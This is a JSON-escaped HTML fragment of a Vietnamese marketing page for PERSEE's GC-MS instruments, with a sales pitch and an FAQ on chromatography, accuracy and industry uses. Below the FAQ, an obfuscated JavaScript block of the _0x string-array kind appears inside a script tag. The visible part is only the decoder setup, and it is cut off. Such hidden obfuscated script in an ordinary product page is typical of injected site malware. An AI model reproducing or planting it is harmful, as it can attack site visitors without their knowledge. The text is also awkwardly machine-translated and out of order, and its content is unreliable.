nghi\u1ec7m hi\u1ec7n \u0111\u1ea1i. B\u1eb1ng c\u00e1ch suy ngh\u0129 v\u1ec1 c\u00e1c lo\u1ea1i m\u1eabu, m\u1ee5c ti\u00eau v\u00e0 nhu c\u1ea7u thi\u1ebft b\u1ecb c\u1ee7a b\u1ea1n, b\u1ea1n c\u00f3 th\u1ec3 quy\u1ebft \u0111\u1ecbnh li\u1ec7u GC-MS l\u00e0 l\u1ef1a ch\u1ecdn t\u1ed1t nh\u1ea5t c\u1ee7a b\u1ea1n hay kh\u00f4ng. T\u1ea1i PERSEE, ch\u00fang t\u00f4i \u1edf \u0111\u00e2y \u0111\u1ec3 gi\u00fap \u0111\u1ee1 v\u1edbi c\u00e1c gi\u1ea3i ph\u00e1p GC-MS h\u00e0ng \u0111\u1ea7u v\u00e0 h\u1ed7 tr\u1ee3 \u0111\u00e1ng tin c\u1eady. <a href=\"https:\/\/www.pgeneral.com\/vi\/lien-he-voi-chung-toi\/\"><u>Ki\u1ec3m tra<\/u><\/a>\u00a0H\u00e3y xem l\u00e0m th\u1ebf n\u00e0o \u0111\u1ec3 l\u00e0m cho ph\u00f2ng th\u00ed nghi\u1ec7m c\u1ee7a b\u1ea1n ho\u1ea1t \u0111\u1ed9ng t\u1ed1t h\u01a1n.<\/p>\n<h2>C\u00e2u h\u1ecfi th\u01b0\u1eddng g\u1eb7p (FAQs)<\/h2>\n<h3>Q1 S\u1ef1 kh\u00e1c bi\u1ec7t ch\u00ednh gi\u1eefa quang ph\u1ed5 kh\u00ed v\u00e0 quang ph\u1ed5 kh\u1ed1i l\u01b0\u1ee3ng l\u00e0 g\u00ec?<\/h3>\n<p>A1 Nh\u00e2n s\u1eafc h\u1ecdc kh\u00ed (GC) l\u00e0 t\u1ea5t c\u1ea3 v\u1ec1 vi\u1ec7c t\u00e1ch m\u1ed9t h\u1ed7n h\u1ee3p th\u00e0nh c\u00e1c ph\u1ea7n c\u1ee7a n\u00f3. N\u00f3 s\u1eed d\u1ee5ng c\u00e1ch d\u1ec5 d\u00e0ng c\u00e1c h\u1ee3p ch\u1ea5t chuy\u1ec3n th\u00e0nh kh\u00ed v\u00e0 t\u01b0\u01a1ng t\u00e1c v\u1edbi m\u1ed9t v\u1eadt li\u1ec7u \u0111\u1ec3 s\u1eafp x\u1ebfp ch\u00fang. \u0110i\u1ec1u n\u00e0y t\u1ea1o ra m\u1ed9t bi\u1ec3u \u0111\u1ed3 th\u1eddi gian l\u01b0u tr\u1eef. Ph\u1ed5 ph\u1ed5 kh\u1ed1i l\u01b0\u1ee3ng (MS) \u0111i xa h\u01a1n b\u1eb1ng c\u00e1ch x\u00e1c \u0111\u1ecbnh c\u00e1c b\u1ed9 ph\u1eadn \u0111\u00f3. N\u00f3 bi\u1ebfn c\u00e1c h\u1ee3p ch\u1ea5t th\u00e0nh ion v\u00e0 ki\u1ec3m tra t\u1ef7 l\u1ec7 kh\u1ed1i l\u01b0\u1ee3ng-s\u1ea1c c\u1ee7a ch\u00fang \u0111\u1ec3 t\u1ea1o ra m\u1ed9t m\u00f4 h\u00ecnh \u0111\u1ed9c \u0111\u00e1o. C\u00e1c lo\u1ea1i GC; MS x\u00e1c \u0111\u1ecbnh. C\u00f9ng nhau trong GC-MS, ch\u00fang kh\u00f4ng th\u1ec3 ng\u0103n ch\u1eb7n \u0111\u01b0\u1ee3c.<\/p>\n<h3>Q2 L\u00e0m th\u1ebf n\u00e0o quang ph\u1ed5 kh\u1ed1i l\u01b0\u1ee3ng nhi\u1ec5m s\u1eafc kh\u00ed c\u00f3 th\u1ec3 c\u1ea3i thi\u1ec7n \u0111\u1ed9 ch\u00ednh x\u00e1c ph\u00e2n t\u00edch?<\/h3>\n<p>A2 GC-MS t\u0103ng \u0111\u1ed9 ch\u00ednh x\u00e1c b\u1eb1ng c\u00e1ch k\u1ebft h\u1ee3p k\u1ef9 n\u0103ng ph\u00e2n lo\u1ea1i c\u1ee7a GC v\u1edbi nh\u1eadn d\u1ea1ng ch\u00ednh x\u00e1c c\u1ee7a MS. GC chia m\u1eabu, v\u00ec v\u1eady m\u1ed7i h\u1ee3p ch\u1ea5t \u0111\u01b0\u1ee3c ki\u1ec3m tra ri\u00eang. \u0110i\u1ec1u n\u00e0y l\u00e0m gi\u1ea3m s\u1ef1 nh\u1ea7m l\u1eabn. MS sau \u0111\u00f3 t\u1ea1o ra m\u1ed9t m\u00f4 h\u00ecnh \u0111\u1ed9c \u0111\u00e1o cho m\u1ed7i h\u1ee3p ch\u1ea5t, nh\u01b0 m\u1ed9t ID ph\u00e2n t\u1eed. \u0110i\u1ec1u n\u00e0y c\u1eaft gi\u1ea3m l\u1ed7i. N\u00f3 \u0111\u1eb7c bi\u1ec7t tuy\u1ec7t v\u1eddi \u0111\u1ec3 t\u00ecm d\u1ea5u v\u1ebft nh\u1ecf trong c\u00e1c m\u1eabu ph\u1ee9c t\u1ea1p, nh\u01b0 trong c\u00f4ng vi\u1ec7c m\u00f4i tr\u01b0\u1eddng ho\u1eb7c y t\u1ebf.<\/p>\n<h3>Q3 C\u00e1c ng\u00e0nh c\u00f4ng nghi\u1ec7p n\u00e0o c\u00f3 l\u1ee3i nh\u1ea5t t\u1eeb vi\u1ec7c s\u1eed d\u1ee5ng quang ph\u1ed5 kh\u1ed1i l\u01b0\u1ee3ng nhi\u1ec5m s\u1eafc kh\u00ed?<\/h3>\n<p>A3 GC-MS l\u00e0 m\u1ed9t s\u1ef1 gi\u00fap \u0111\u1ee1 l\u1edbn cho:<\/p>\n<ul>\n<li>Y h\u1ecdc: Ki\u1ec3m tra \u0111\u1ed9 tinh khi\u1ebft thu\u1ed1c ho\u1eb7c nghi\u00ean c\u1ee9u h\u00f3a ch\u1ea5t c\u01a1 th\u1ec3.<\/li>\n<li>C\u00f4ng vi\u1ec7c m\u00f4i tr\u01b0\u1eddng: T\u00ecm c\u00e1c ch\u1ea5t \u00f4 nhi\u1ec5m nh\u01b0 thu\u1ed1c tr\u1eeb s\u00e2u ho\u1eb7c kh\u00ed trong kh\u00f4ng kh\u00ed ho\u1eb7c n\u01b0\u1edbc.<\/li>\n<li>An to\u00e0n th\u1ef1c ph\u1ea9m: ph\u00e1t hi\u1ec7n d\u1ea5u v\u1ebft thu\u1ed1c tr\u1eeb s\u00e2u ho\u1eb7c ph\u1ee5 gia \u0111\u1ec3 gi\u1eef an to\u00e0n th\u1ef1c ph\u1ea9m.<\/li>\n<li>C\u00f4ng nghi\u1ec7p d\u1ea7u m\u1ecf: Ph\u00e2n t\u00edch hydrocarbon ho\u1eb7c quy tr\u00ecnh tinh ch\u1ebf.<\/li>\n<li>Ph\u00f2ng th\u00ed nghi\u1ec7m t\u1ed9i ph\u1ea1m: X\u00e1c \u0111\u1ecbnh c\u00e1c manh m\u1ed1i nh\u1ecf nh\u01b0 ma t\u00fay ho\u1eb7c ch\u1ea5t n\u1ed5.<\/li>\n<\/ul>\n<p>C\u00e1c l\u0129nh v\u1ef1c n\u00e0y d\u1ef1a v\u00e0o GC-MS cho \u0111\u1ed9 ch\u00ednh x\u00e1c v\u00e0 kh\u1ea3 n\u0103ng x\u1eed l\u00fd t\u1ea5t c\u1ea3 c\u00e1c lo\u1ea1i m\u1eabu. \u0110\u00f3 l\u00e0 m\u1ed9t \u0111i\u1ec1u c\u1ea7n thi\u1ebft cho ki\u1ec3m tra ch\u1ea5t l\u01b0\u1ee3ng v\u00e0 nghi\u00ean c\u1ee9u.<\/p>\n<p>&nbsp;<br \/>\n<script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const 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ph\u00f2ng th\u00ed nghi\u1ec7m, qu\u1ea3n l\u00fd ho\u1eb7c nh\u00e0 nghi\u00ean c\u1ee9u, b\u1ea1n lu\u00f4n t\u00ecm ki\u1ebfm \u0111\u1ed9 ch\u00ednh x\u00e1c, \u0111\u1ed9 tin c\u1eady v\u00e0 t\u1ed1c \u0111\u1ed9. Ch\u1ecdn ph\u01b0\u01a1ng ph\u00e1p ph\u00e2n t\u00edch ph\u00f9 h\u1ee3p c\u00f3 th\u1ec3 t\u1ea1o ra ho\u1eb7c ph\u00e1 v\u1ee1 k\u1ebft qu\u1ea3 c\u1ee7a b\u1ea1n. \u0110\u00f3 l\u00e0 n\u01a1i quang ph\u1ed5 kh\u1ed1i l\u01b0\u1ee3ng nhi\u1ec5m s\u1eafc kh\u00ed (GC-MS) xu\u1ea5t hi\u1ec7n. \u0110\u00e2y l\u00e0 m\u1ed9t c\u00f4ng c\u1ee5 si\u00eau ti\u1ec7n d\u1ee5ng trong ph\u00f2ng th\u00ed nghi\u1ec7m hi\u1ec7n \u0111\u1ea1i. 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